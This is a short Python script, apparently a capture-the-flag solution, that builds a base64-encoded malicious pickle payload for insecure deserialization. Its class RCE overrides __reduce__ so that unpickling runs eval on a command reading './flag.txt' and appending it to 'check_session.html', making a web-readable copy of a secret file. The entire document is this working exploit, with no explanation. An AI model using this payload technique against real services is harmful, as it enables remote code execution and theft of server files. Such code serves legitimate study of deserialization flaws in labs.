import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = "f = open('check_session.html', 'a').write(open('./flag.txt', 'r').read())"
        return (__builtins__.eval, (cmd,))

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.b64encode(pickled))